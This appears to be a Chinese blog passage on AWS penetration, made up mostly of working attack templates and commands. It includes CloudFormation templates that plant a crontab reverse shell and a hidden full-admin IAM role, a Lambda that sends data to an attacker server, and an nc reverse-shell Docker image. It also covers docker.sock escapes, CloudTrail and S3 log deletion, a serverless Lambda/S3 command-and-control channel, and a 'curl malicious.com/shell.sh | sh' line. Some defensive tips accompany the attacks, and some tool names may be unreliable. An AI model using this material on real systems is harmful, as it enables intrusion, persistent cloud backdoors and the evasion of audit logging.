  • CloudFormation 部署 EC2 实例,并在 UserData里执行反向 Shell。
  • EC2 启动后,会自动连接到攻击者的服务器,形成远程持久化访问。

这里的目的就是每两分钟执行一次后面的bash命令,用于反弹shell,主要的关注点在上面的那个ImageId,这个对应的是AMI ID,可能听起来有点抽象所以单出一行解释。

找到对应的地方AMI ID要的是一个模板,那么为什么非要模板呢?这个的原理就是新给你创建一个EC2实例并且运行,而他又不知道给你创建什么实例,就需要一个模板代号,其实也就是可以理解为一个镜像的编号,这个编号是固定的,你选了哪个,他就给你创建并启动哪个系统。可以看到上图有很多系统,选择其中一个编号填上去就行了,要注意,这个不是在原有的EC2上进行改动,它的原理就是找一个系统,自带的系统,确定好了就给你默认创建出来,然后启动,然后在运行你写入模板的命令,我们的命令是写入定时任务,他就会在开机的时候执行,就是这样,我看着其实感觉也有点鸡肋,但是这里正好能体现出CloudFormation权限危害性有多大。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  MaliciousEC2:
    Type: AWS::EC2::Instance
    Properties:
      ImageId: "ami-0ef0a3b4303b17ec5"
      InstanceType: "t2.micro"
      UserData:
        Fn::Base64: |
          #!/bin/bash
          echo "*/2 * * * * root bash -i >& /dev/tcp/192.***.***.***/53 0>&1" >> /etc/crontab
          systemctl restart cron

上面是我的模板 我填好了


3. 创建 IAM 角色,并允许攻击者 AssumeRole

攻击者可以创建 IAM 角色,并允许自己 AssumeRole,从而长期访问 AWS 账户:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  HiddenIAMRole:
    Type: AWS::IAM::Role
    Properties:
      RoleName: "AWS-Support-Role"
      AssumeRolePolicyDocument:
        Version: "2012-10-17"
        Statement:
          - Effect: Allow
            Principal:
              AWS: "攻击者AWS账户ID"
            Action: "sts:AssumeRole"
      Policies:
        - PolicyName: "HiddenAdminPolicy"
          PolicyDocument:
            Version: "2012-10-17"
            Statement:
              - Effect: Allow
                Action: "*"
                Resource: "*"

执行方式

1
aws cloudformation create-stack --stack-name IAMBackdoor --template-body file://hidden-role.yaml

效果

  • 创建 AWS-Support-Role角色,看起来像 AWS 官方支持账户,减少管理员怀疑。
  • 攻击者账户可以随时 sts:AssumeRole,即使管理员删掉 AWS 账户中的用户,仍然可以访问 AWS!

4. 通过 Lambda 注入恶意代码

攻击者可以利用 CloudFormation 部署恶意 Lambda 函数,在 AWS 内部执行代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  MaliciousLambda:
    Type: AWS::Lambda::Function
    Properties:
      FunctionName: "AWSMonitor"
      Runtime: "python3.8"
      Role: "arn:aws:iam::123456789012:role/LambdaExecutionRole"
      Handler: "index.lambda_handler"
      Code:
        ZipFile: |
          import os
          import subprocess
          def lambda_handler(event, context):
              subprocess.call("curl -X POST -d 'AWS Access Compromised' http://攻击者服务器", shell=True)
              return "Executed"

执行方式

1
aws cloudformation create-stack --stack-name LambdaBackdoor --template-body file://malicious-lambda.yaml

效果

  • 创建 AWSMonitorLambda 函数,伪装成 AWS 监控工具,管理员不易察觉。
  • Lambda 运行时会向攻击者服务器发送数据,攻击者可以利用它来执行远程命令。

这里提一下 CloudFormation 重点是滥用,不用深入的去死学这个,甚至让AI给结果就可以的,但是Lambda里面的boto3库不一样,这个需要经常用,他可以干很多事情,必须学。

ECS容器逃逸

ECS 是 AWS 提供的 容器编排服务,你可以把它理解为 AWS 版的 Docker 管理平台,类似于 Kubernetes(但不完全一样)。

ECS 逃逸主要涉及两种模式:

  1. ECS on EC2:基于 EC2 运行的 ECS,攻击目标是底层 EC2 实例。
  2. ECS on Fargate:无服务器的 ECS 运行方式,目标是逃逸到 AWS 其他资源(如 IAM、S3 等)。

大纲

1. 容器特权模式(docker原生渗透技巧不做复现,仅搭建环境了解架构)

目标:利用 ECS 运行的 特权容器 逃逸到宿主机 攻击方式

  • 如果任务定义启用了 privileged: true,可以直接 chroot 进入宿主机
  • 使用 cap_add: SYS_ADMIN 访问 ECS 宿主机 cgroup/proc
  • 运行 --privileged 容器,获得 ECS 宿主机 root 权限

2. 滥用 ECS 任务定义(重点)

目标:通过 ECS 任务定义配置错误执行恶意命令 攻击方式

  • 部署恶意镜像(包含反弹 shell)
  • 在任务定义中添加环境变量凭据(窃取 AWS 访问密钥)
  • 挂载 /var/run/docker.sock 访问宿主机 Docker API(Docker API 逃逸

3. Mount 逃逸(docker原生渗透技巧不做复现)

目标:利用 --mount type=bind 访问 ECS 宿主机文件系统 攻击方式

  • 挂载 /root/.aws/credentials 访问 AWS 凭据
  • 挂载 /etc/ 目录,获取 ECS 宿主机敏感配置
  • 挂载 /var/lib/docker/,直接操作 Docker 文件系统,访问其他容器

4. API Credential 泄露(学习过了不做复现)

目标:ECS 任务可能包含 AWS IAM 角色凭据,导致云环境横向移动 攻击方式

  • 通过 ECS 容器访问 AWS 元数据服务
1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • 获取 ECS 任务的 IAM Role,利用 aws configure 进行 AWS API 访问
  • 窃取 AWS 访问密钥,并尝试访问 S3、EC2、DynamoDB

特权容器逃逸

原理

特权模式 (--privileged),挂载 /,访问 ECS 宿主机

环境搭建

本来已经复制粘贴了步骤,一步一步操作就行,但是实际上没那么简单,我在这里卡了一天,也学了一天的ECS的原理,架构非常非常厉害,所以学的时间有点久,正因如此我把原来的步骤删了,用图片来展示搭建环境的步骤。如果对这个服务感兴趣的,可以把我每个步骤都看一遍,了解一下原理,这个东西不是基础概念,学会下面的步骤其实也就会用这玩意了。

点击创建就行了 下一步 任务定义 到后面搭建完了 我会解释这些东西如何互相连接起来的 架构是怎么样的

点击创建就行了 下一步 开特权模式(特权模式没有选项 只能改json)

1
sleep,infinity

点击创建就行了错一步都可能失败 特别是要注意命令那里要加上逗号 我因为这个也卡了很久。

到了这一步先解释整体流程把,创建集群选择免费的EC2,安全组开启22端口,最小值设置为1,这样在你创建完集群的时候就会自动实例化一个EC2,那如果最小值还是默认的0呢?要不然你自己建一个EC2把自己添加到ECS里面,要不然每开一个刚刚那样的任务它就会自己建一个EC2并执行。可以看到如果最小值为0你想再开一个EC2作为docker的物理机有多麻烦。到此集群完了,再看看任务定义是什么玩意,任务定义主要是看你想运行什么样的东西,在里面定义好,这个需要多少的资源?需要什么镜像?映射什么服务?是否可以和AWSAPI交互?都可以定义的,可以知道这个就是定义你要运行什么样的docker服务,刚好集群主要是一堆docker,这里刚好定一个了一个docker的类型,接下来就要发布docker到集群当中,这也就是最后的发布任务那一处,我们将这个定义好的任务,发布任务到了创建的集群的EC2当中,并且还进行了命令覆盖,为什么要命令覆盖sleep infinity呢?

另起一行解释一下任务和服务的定义

其实任务就是运行完了就结束了,比如你要跑定时任务、机器学习训练任务等等这种一次性的任务,运行完就完事了,不需要一直跑着,当你要运行nginx之类的长时间的服务的时候,我们就需要创建服务了,这就是概念,这也就是我们为什么要写一个sleep infinity,让他一直延时,不然运行完立马就关闭了,你可以尝试一下不写sleep infinity,你会发现你提交任务之后,集群处马上就弹了一个任务已结束。其实两个本质上没啥区别,也不存在哪个方便哪个不方便的区别,主要是任务能更好的了解基础概念,逻辑性很强。后续也不搭建服务了。

整体来说还是非常复杂的,可能理解非常困难,不妨全部尝试搭建一边就能理解。

复现验证

SSH登录刚刚创建的EC2实例。

agent是自带的 上面的那个才是我们创建的docker任务(如果不使用自动创建的方法来创建一个docker物理机 自行配置的话是需要装上这个agent的)

因为我们刚刚配置好 所以这里已经是特权模式了

到此为止,后面就是经典的docker特权模式逃逸了,感兴趣的百度google上都是答案,值得注意的一点是一般来说作为任务启动的amazonlinux有很多东西是没有的,他太小了,作为服务启动的话其实会多一点。正因如此任务启动的特权模式逃逸的一些命令可能并不存在。这里其实就是正常的docker方面的漏洞了,它的原理也是如此,ECS也就是类似于K8S的管理docker的工具,仅此而已。

补充部分

可能看到这里就觉得搭建了半天ECS,结果还是要复现docker本身的漏洞,那我还搭建干什么,烧脑又浪费时间,其实不是这样的,在环境搭建处,我们已经学习了ECS的搭建操作,学习了他的基础概念,了解了它的架构,云安全不只存在攻击,还有防御,很多人都说知道了攻击才知道如何防御,但前提是你得理解他的基础逻辑。比如SQL注入,你知道如何注入就知道如何防御,现在有一个WAF让你来阻拦SQL注入,那就写个规则,在与后端的数据库交互的接口处把’")全给他过滤了,攻击者发现了规则貌似就是过滤’"),用URL编码绕过之后依然能用union,select,sleep,substr等等等等查询,你发现了于是你又开始疯狂加正则加规则开始阻拦这些语句,攻击者也一直尝试绕过,但是发现了吗,底层原理依然是SQL语句的变形和编码绕过,当你真正理解了SQL注入这个漏洞的原理和逻辑,了解到了攻防双方是如何进步如何迭代更新的,才能发现攻防的核心,他们始终离不开最初的概念,这也就是为什么要亲自去搭建一次ECS了解它的概念和架构,云安全始终是攻防一体的。

滥用 ECS 任务定义

1、 通过 ECS 任务定义配置错误,执行恶意命令或窃取凭据

2、 利用 ECS 任务定义错误,获取 ECS 宿主机权限

3、 通过 ECS 任务定义挂载宿主机 Docker API,访问其他容器

三种方法就不搭建环境了,解释是能看明白的,整体比较简单。

一. 部署恶意镜像

ECS 允许用户创建自己的 任务定义(Task Definition),然后从 ECR(Elastic Container Registry)Docker Hub 拉取镜像运行。

如果攻击者能 创建或修改 ECS 任务定义,就能 部署带有后门的恶意镜像,比如:

  • 镜像里内置反弹 Shell
  • 镜像里内置 AWS 访问密钥
  • 镜像里内置定时任务,定期上传敏感数据

攻击者上传恶意镜像

自己构建一个包含反弹 Shell 的镜像:

1
2
3
FROM ubuntu
RUN apt update && apt install -y netcat
CMD /bin/bash -c "while true; do nc -e /bin/bash attacker-ip 4444; sleep 10; done"
  • 推送到自己的 ECR
1
2
3
4
docker build -t my-malicious-image .
aws ecr create-repository --repository-name evil-repo
docker tag my-malicious-image <aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest
docker push <aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest
  • 修改 ECS 任务定义
  • 把任务定义里的 image 改成恶意镜像:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  "containerDefinitions": [
    {
      "name": "evil-container",
      "image": "<aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest",
      "cpu": 512,
      "memory": 512,
      "essential": true
    }
  ]
}
  • 提交 ECS 任务定义,并运行任务
1
2
aws ecs register-task-definition --cli-input-json file://evil-task.json
aws ecs run-task --cluster my-cluster --task-definition evil-task
  • 攻击者远程控制 ECS 任务
  • ECS 任务启动后,会自动反弹 Shell:
1
nc -lvnp 4444
  • 攻击者获得 ECS 容器控制权,可以继续攻击 ECS 宿主机或 AWS 资源

聊一下为什么被攻击者要使用我们的镜像呢,主要方法有三种可以配合来,供应链攻击(供应商镜像篡改)、镜像名称混淆攻击、AWS ECS任务定义错误。这些方法比较好理解,可以搜搜看,网上都有的。


二. 在任务定义中添加环境变量凭据

ECS 允许任务定义里使用 环境变量,如果管理员不小心在环境变量里 硬编码 AWS 密钥,攻击者就能获取这些密钥。

查看当前任务的环境变量

1
env

如果返回:

1
2
AWS_ACCESS_KEY_ID=AKIAXXXX
AWS_SECRET_ACCESS_KEY=XXXXXX

说明 ECS 任务把 AWS 密钥 写进了环境变量,攻击者可以直接使用。


三. 挂载 /var/run/docker.sock 访问宿主机

ECS 任务可以挂载宿主机的 docker.sock,如果管理员误配,攻击者就能 直接控制宿主机 Docker,逃逸到 ECS 宿主机。

  • 在 ECS 任务定义里,挂载 docker.sock
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
  "containerDefinitions": [
    {
      "name": "privileged-container",
      "image": "ubuntu",
      "mountPoints": [
        {
          "sourceVolume": "docker-sock",
          "containerPath": "/var/run/docker.sock"
        }
      ]
    }
  ],
  "volumes": [
    {
      "name": "docker-sock",
      "host": {
        "sourcePath": "/var/run/docker.sock"
      }
    }
  ]
}
  • ECS 任务运行后,攻击者可以在容器里直接控制 Docker
  • 进入容器
1
docker exec -it ecs-privileged-container /bin/bash
  • 使用 docker.sock控制 ECS 宿主机
1
2
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -it --privileged ubuntu bash
  • 攻击者创建新的特权容器,实现 ECS 容器逃逸
1
2
docker -H unix:///var/run/docker.sock run -it --privileged -v /:/host ubuntu bash
chroot /host

ECS on Fargate 渗透 & 逃逸

之前提到的所有情况都是EC2作为docker宿主机运行的利用,实际上都是原生docker的漏洞利用,没有什么特别的,然后就是滥用的部分这里涉及到了一点AWS方面的利用技巧,实际上就这么点东西。 那我们没有用过的Fargate选项到底是什么呢?他其实是一个AWS无服务器容器,不需要自己管理 EC2,AWS自动帮你管理,那么这里该如何渗透呢?根据上面我们的理解其实能发现完全没有渗透的路径,想要突破AWS Fargate的基础设施对于我们来说就是天方夜谭,所用到的方法其实还是基础的方法,docker方面的漏洞就不用想了不会给特权模式之类的。不卖关子了其实非常简单,记一下就行了。

  1. Fargate 任务运行时,AWS 会自动给它分配 IAM Role,用于访问 AWS 资源。Fargate 任务内部可以访问 元数据服务(IMDSv2),获取 临时访问凭据。ECS元数据利用,去翻命令就行了,这里放个原理看看。
  2. Fargate 任务的 任务定义(Task Definition) 可能包含 环境变量、挂载的敏感文件,如果管理员配置错误,攻击者可以获取AWS 访问密钥、读取数据库密码、访问敏感 S3 资源。其实就是env看看能不能找到密钥,找一下 /root/.aws/credentials,find / -name “*.pem"等文件。
  3. Fargate 任务可以运行在 公有子网私有子网,如果管理员配置错误:
  • 攻击者可以通过 Fargate 任务,访问 AWS VPC 内部服务
  • 攻击者可以通过 Fargate 任务,访问其他 AWS 资源
  • 攻击者可以使用 Fargate 任务,作为代理服务器

查找 Fargate 任务的网络配置

1
2
ip a
route -n
  • 如果 eth0 绑定了 VPC CIDR,则说明 Fargate 任务运行在私有子网
  • 如果 route -n存在 0.0.0.0/0,说明 Fargate 任务可以访问外网
  • 使用 Fargate 任务访问 AWS 内部资源
1
2
nc -z -v internal-rds.amazonaws.com 3306
nc -z -v internal-elasticsearch.amazonaws.com 9200
  • 使用 Fargate 任务,建立反向代理
1
ssh -R 8080:internal-rds.amazonaws.com:3306 attacker@remote-server

第三条稍微复杂一点,这里单开一行解释一下,VPC不是可以配很多网络配置吗,如果各种子网当中运行着各种各样的AWS服务,我们就可以搭建隧道去访问,相当于进了目标AWS账户的云方面的内网环境了吧,可以这么理解,里面可能有一堆EC2,也可能有其他东西, 云横向移动就行了。

ECS容器利用补充

滥用ECS Exec功能
  • 正常用途: AWS ECS Exec 旨在提供调试能力,允许运维人员通过 AWS CLI 或控制台直接进入容器执行命令(如检查日志、调试服务)。
  • 核心依赖
  • 任务定义需启用 "enableExecuteCommand": true
  • 执行者需拥有 ecs:ExecuteCommand IAM 权限。

攻击场景与利用条件

攻击前提

  • 权限泄露:攻击者获取了具有 ecs:ExecuteCommand 权限的 IAM 凭证(如开发人员账号、过度授权角色)。
  • 任务配置错误:任务定义中启用了 enableExecuteCommand,且未限制相关权限。
  1. 枚举可执行的任务
1
2
3
4
5
6
# 列出所有 ECS 集群
aws ecs list-clusters
# 列出集群中的任务
aws ecs list-tasks --cluster <CLUSTER_NAME>
# 检查任务是否启用了 Exec
aws ecs describe-tasks --cluster <CLUSTER> --tasks <TASK_ID> | grep "enableExecuteCommand"
  1. 通过 Exec 进入容器
1
2
3
4
5
6
7
# 使用 AWS CLI 执行命令(例如启动交互式 Shell)
aws ecs execute-command \
  --cluster <CLUSTER_NAME> \
  --task <TASK_ID> \
  --container <CONTAINER_NAME> \
  --command "/bin/sh" \
  --interactive
  • 若成功,攻击者将获得容器内的 Shell 权限。

高级攻击手法结语

到这里基本上所有的AWS渗透部分都已经实现完了,高级手法明显比前面难很多,可以感觉到前面的那些都是在学习基础的服务利用方法,基础的渗透流程等等,高级攻击手法则是各种服务的配合。

比如AWSCLI凭证泄露,基础部分仅仅是学某个权限是干什么的,该如何复现,如何利用这个权限来渗透,而高级部分更多的是找到泄露,进行提权,进行持久化,像基础的部分直接一笔带过,它只会提到有什么权限,什么权限和什么权限能组合来进行渗透,没有那种一个服务扯很久的感觉了,如大纲标题,利用手法,思路加方法的结合。

还有CloudFormation恶意模板,可能学的时候觉得,这跟之前也没啥区别啊,不也是学习CloudFormation里面的所有服务吗?但是学习的前提你得了解所有服务的特性,我们知道CloudFormation模板可以进行渗透,能获得很多权限,那么你知道该如何创建高权限的用户/角色吗,这个模板运行是无回显的,该如何获得生成的key,它更像所有服务渗透的集合,而你只需要一个载体,这个载体就是CloudFormation模板,他可以控制所有AWS服务,而你学的前提是得会所有的AWS服务。

最后一个ECS容器,这个我在ECS容器逃逸最后写了一些话,可能都知道要学这个东西的渗透的话其实也就是针对docker渗透,也都知道ECS类似于K8S,但是ECS是云上的东西,它不仅仅是只针对docker访问的渗透,还有云相关的,学习完搭建的人肯定都知道ECS的搭建有点复杂,这也侧面的说明架构做的非常好,学习AWS云安全不能光学攻击手法,学命令,如果不理解背后的逻辑是不太好的,当你搭建了一下ECS踩了一堆坑的时候,当你终于搭建成功的时候,就理解了这个服务背后的原理。

实际上攻防不分家,互相都学对于理解非常重要,这意味着你不光可以做蓝还可以做红,相互成长,并且到此为止,学习了很多的AWS服务方面的东西,也知道了AWS实际上用免费的也可以做很多事情,正如我AWS基础概念所说的,你已经可以尝试搭建一个站点?搭建一个存储桶存文件?等等都是可以的,这一节讲了很多渗透相关的,说明你在搭建完之后,可以尝试给自己的AWS服务做基线了,了解了如何攻击,就知道防御该注重哪些方面了。

这里AWS渗透还剩最后一个重要的模块 —– 防御绕过技术

防御绕过技术

这里非常的难,但是用处也很大,大部分只会列个标题和原理,实现有点困难,有大神可以自行实现一下,我在后续的学习完成之后,也会往这个方面靠近。


AWS 具有多种安全监控和日志记录机制,比如:

GuardDuty(入侵检测) CloudTrail(API 事件日志) VPC Flow Logs(流量监控) AWS Config(合规性监控)

攻击者的目标 是:绕过这些监控机制,隐藏恶意操作

GuardDuty 绕过技术

低频率 API 调用

  • 原理: AWS GuardDuty 基于机器学习模型检测异常 API 活动(如高频操作、跨区域调用)。通过 降低敏感操作频率(如每小时一次),可规避基于统计的检测规则。
  • 操作示例
1
2
3
4
5
# 每小时窃取一次 S3 对象列表
while true; do
  aws s3 ls s3://sensitive-bucket --region us-west-1 >> /tmp/result.txt
  sleep 3600  # 间隔 1 小时
done
  • 防御检测
  • 启用 GuardDuty 的 威胁列表(Threat Lists),标记已知恶意 IP。
  • 使用 Security Hub 自定义规则,匹配低频敏感操作(如每小时执行 iam:CreateUser)。
  • 分析 CloudTrail 日志的 时间序列模式,识别周期性行为。

利用合法服务代理流量

  • 原理: 通过 AWS 原生服务(如 Lambda、API Gateway)转发恶意流量,使 GuardDuty 将攻击流量识别为合法服务行为。
  • 操作示例(Lambda 代理 C2)
  1. 创建恶意 Lambda 函数
1
2
3
4
5
6
import os
def lambda_handler(event, context):
    # 从 API Gateway 接收 Base64 编码的命令
    command = event['queryStringParameters']['cmd']
    result = os.popen(command).read()
    return {'statusCode': 200, 'body': result}
  1. 通过 API Gateway 触发
1
2
# 发送加密命令(避免日志明文记录)
curl "https://xxx.execute-api.region.amazonaws.com/prod?cmd=$(echo 'whoami' | base64)"
  • 防御检测
  • 监控 Lambda 冷启动频率执行时间异常(如长时间运行的函数)。
  • 启用 VPC 流量镜像,捕获 Lambda 函数的出站流量。
  • 使用 GuardDuty 的 Backdoor:EC2/LambdaClient 规则检测可疑函数调用。
  • 加密方式可以自定义,RSA、AES都是可以的。

CloudTrail 日志删除

删除指定日志轨迹

  • 操作命令
1
2
3
4
# 删除默认 CloudTrail
aws cloudtrail delete-trail --name Default
# 停止日志记录
aws cloudtrail stop-logging --name Default
  • 绕过效果: 阻止新日志生成,但 历史日志仍存储在 S3 桶 中(需额外清理)。
  • 防御措施
  • 启用多区域日志记录(Multi-Region Trail):防止单区域日志被删除。
  • 启用 S3 版本控制 + MFA 删除:防止日志文件被覆盖。
  • 限制 IAM 权限:禁止非管理员用户操作 cloudtrail:DeleteTrailcloudtrail:StopLogging

历史日志擦除

  • 操作示例
1
2
3
4
5
# 有专门用于日志的存储桶的 一定要找到再清除 不要乱删
# 清空关联的 S3 日志桶
aws s3 rm s3://cloudtrail-bucket --recursive
# 删除 S3 桶
aws s3 rb s3://cloudtrail-bucket --force
  • 防御措施
  • 配置 S3 对象锁定(Object Lock),设置日志文件为不可删除。
  • 启用 AWS Organizations 的 Service Control Policy(SCP),禁止成员账户修改日志配置。

IP 隐匿(无服务器 C2)

Lambda + API Gateway 反向代理

  • 架构设计
  • 攻击者API GatewayLambda(转发请求)受控容器/EC2S3 存储桶(存储结果)
  • 操作步骤
  1. 创建 Lambda 转发器
1
2
3
4
5
6
7
8
9
import boto3
def lambda_handler(event, context):
    s3 = boto3.client('s3')
    # 从 API Gateway 接收指令并写入 S3
    cmd = event['queryStringParameters']['cmd']
    s3.put_object(Bucket='c2-bucket', Key='commands/latest', Body=cmd)
    # 读取执行结果
    response = s3.get_object(Bucket='c2-bucket', Key='results/latest')
    return {'statusCode': 200, 'body': response['Body'].read()}
  1. 容器内定时拉取指令
1
2
3
4
5
6
7
# 受控容器中的定时任务
while true; do
  aws s3 cp s3://c2-bucket/commands/latest - > /tmp/cmd.sh
  sh /tmp/cmd.sh > /tmp/result.txt
  aws s3 cp /tmp/result.txt s3://c2-bucket/results/latest
  sleep 300
done

隐匿性优势

  • 所有通信经过 AWS 内部网络,源 IP 显示为 lambda.amazonaws.com
  • API Gateway 支持 HTTPS 加密,流量特征与正常业务无异。

这个有点复杂了但是非常好用(学boto3库才行),相当于无服务器C2,主要目的是控制目标的容器或者EC2的同时不被发现,而且架构上面有写,攻击者通过API来控制Lambda转发器,那么这个API Gateway是啥呢?其实就是一个触发器,能找到的,定义好触发器之后,可以在URL后面跟上命令。

1
curl -X GET "https://xxx.execute-api.region.amazonaws.com/prod?cmd=bHMgaS9ldGM="

这样就相当于把命令代入到了cmd当中。 再看看接收的json呢。

1
2
3
4
5
6
7
8
9
# Lambda 函数收到的 event 结构示例
{
  "queryStringParameters": {
    "cmd": "bHMgaS9ldGM="  # "ls /etc" 的 Base64 编码
  }
}

# 找到了base64编码的命令的位置 所以在脚本里面定义的就是
# cmd = event['queryStringParameters']['cmd']

当然还需要base64解码什么的,没有写进去。总之Lambda收到了命令,然后Lambda的代码自动将这个这条命令写入了存储桶 results/latest 这个位置,命令存储完成了,被控EC2如何执行命令呢?有个定时任务每隔1个小时?半个小时?都是可以的,定时任务主要是下载 results/latest 这里的文件并命名为xxxx.sh,然后执行并将结果写入/tmp/result.txt,然后重新上传到S3的存储通当中可能就在 results/result.txt ,在哪都可以,那该如何读取呢?如果直接读取还是要被发现,那其实还是可以用Lambda+API Gateway,设置一个API触发器,不需要参加任何参数,访问了就自动返回S3存储桶里的 results/result.txt 这个位置的文件的内容回来,这样的架构就非常完美了。

这只是其中一条路径,靠这条路径实际上可以加非常非常多的东西,也可以根据这个思路扩展很多方法。再看看防御方面的吧。

检测点

  • API Gateway 请求频率:高频调用可能触发 GuardDuty 的 TTP:Discovery/CloudApis
  • S3 存储桶访问模式:同一路径(如 commands/latest)的频繁覆盖操作。

防御建议

  • 启用 S3 存储桶的 访问日志对象版本控制,追踪文件变更。
  • 监控 Lambda 函数的 执行次数S3 写入操作,设置阈值告警。
  • 使用 Macie 自动扫描 S3 中的敏感数据(如 result.txt 中的密钥)。

AWS渗透自动化工具

1. 云环境侦察 & 资产发现

(1) Pacu
  • 用途:AWS 全环境攻击框架,支持 权限提升、后门植入、数据泄露 等模块化攻击。
  • 功能亮点
  • 自动枚举 IAM 权限、S3 存储桶、EC2 实例等。
  • 模拟攻击链(如通过 iam__privesc_scan 扫描提权路径)。
1
2
3
4
# 初始化并配置 AWS 密钥
pacu
set_keys
run iam__privesc_scan  # 扫描 IAM 权限提升路径
(2) CloudMapper
  • 用途:可视化分析 AWS 环境(VPC、IAM、S3 等),生成 网络拓扑图
  • 功能亮点
  • 绘制跨区域 VPC 连接关系。
  • 标记公开的 S3 存储桶和 EC2 安全组。
1
2
python3 cloudmapper.py collect --account my-account
python3 cloudmapper.py report --account my-account

2. 权限提升 & 漏洞利用

(1) WeirdAAL
  • 用途:自动化检测 AWS API 权限滥用(如 sts:AssumeRoleiam:CreateUser)。
  • 功能亮点
  • 快速扫描 IAM 策略中的危险权限。
  • 生成可复现的攻击代码(Python)。
1
python3 weirdAAL.py -m iam_createaccesskey
(2) AWS PWN
  • 用途:自动化提权工具,覆盖 EC2、Lambda、S3 等服务的 20+ 提权路径
  • 功能亮点
  • 检测 EC2 实例角色权限滥用。
  • 利用 Lambda 函数执行代码并窃取元数据。
1
python3 aws_pwn.py --profile victim-profile --module lambda_backdoor

3. 存储桶 & 数据泄露

(1) S3Scanner
  • 用途:批量扫描公开的 S3 存储桶,并检测敏感文件(如 credentialsconfig)。
  • 功能亮点
  • 支持自定义关键词过滤(如 AKIAsecret)。
  • 导出可读报告(CSV/JSON)。
1
python3 s3scanner.py --bucket names.txt --keywords secrets.txt
(2) bucket-stream
  • 用途:实时监控新创建的 S3 存储桶,并检测公开访问权限。
  • 功能亮点
  • 结合 CertStream 监听域名变化,发现关联存储桶。
  • 自动标记高风险存储桶(如 website 模式)。
1
python3 bucket-stream.py --firehose

4. 横向移动 & 后门植入

(1) Cloudsplaining
  • 用途:分析 IAM 策略中的过度权限,生成 攻击路径图
  • 功能亮点
  • 标记可提权的 iam:PassRolests:AssumeRole 权限。
  • 输出 HTML 可视化报告。
1
2
cloudsplaining download --profile default
cloudsplaining scan --input-file default.json
(2) Lambda-Proxy
  • 用途:基于 Lambda 和 API Gateway 的 无服务器反向代理,实现隐蔽 C2 通信。
  • 功能亮点
  • 支持 HTTPS 加密流量。
  • 动态生成随机 API 路径,规避 WAF 检测。
1
2
serverless deploy --stage prod  # 部署到 AWS
curl https://xxx.execute-api.region.amazonaws.com/prod/command?cmd=whoami

5. 日志清理 & 反检测

(1) CloudTrail Mutator
  • 用途:自动化清理 CloudTrail 日志,删除指定事件记录
  • 功能亮点
  • 支持模糊匹配关键字(如 DeleteTrailStopLogging)。
  • 绕过多区域日志备份机制。
1
python3 cloudtrail_mutator.py --profile target --filter "DeleteTrail"
(2) GuardDog
  • 用途:模拟 GuardDuty 检测逻辑,测试攻击手法的可检测性
  • 功能亮点
  • 生成模拟攻击事件(如 PenTest:IAMUser/KaliLinux)。
  • 输出 GuardDuty 告警概率评估。
1
guarddog simulate --attack "S3:GetObjectAnonymously"

6. 高级隐秘通信

(1) AWS Lambda C2
  • 用途:完全基于 Lambda 和 S3 的 无服务器 C2 框架,支持加密指令传递。
  • 功能亮点
  • 指令分片存储,规避频率检测。
  • 结果自动清理,减少日志残留。
1
2
3
4
# 部署后门
python3 deploy.py --region us-west-1
# 发送指令
python3 c2-client.py --command "curl http://malicious.com/shell.sh | sh"
(2) S3C2
  • 用途:利用 S3 存储桶作为 隐蔽通信信道,支持文件传输和命令执行。
  • 功能亮点
  • 使用预签名 URL 动态更新指令。
  • AES-256 加密通信内容。
1
./s3c2-client.py --bucket my-c2-bucket --get-command

AWS云安全结语

至此AWS渗透算是完结了,可能会有一部分渗透技巧没有提到,但是大部分技巧我相信都在这里了,特别是最后一条的防御绕过技术,这已经是红队对抗云环境的高级手法了,而你仅仅需要学会Lambda其中一种语言,学会调用AWS资源就行,就可以开发无服务器C2了,会写python可以用RSA/AES加密通信,会JAVA也可以序列化命令,总之晚点被发现就行。需要学的部分已经完成,如果以后从事的工作存在AWS云安全能深入参与其中的话(貌似只有国外才有这个岗位 :)),还能更发展一步,后边更要靠的是自己去发掘了,实操和对服务的理解已经非常好了,还差理论方面的知识,学完这些东西就可以准备去考AWS Certified Security证书了,理论加实操才能更好的发展。

目前还差对boto3的库的学习,CloudFormation模板的基本写法,了解其他云厂商例如aliyun等的区别在哪就差不多了。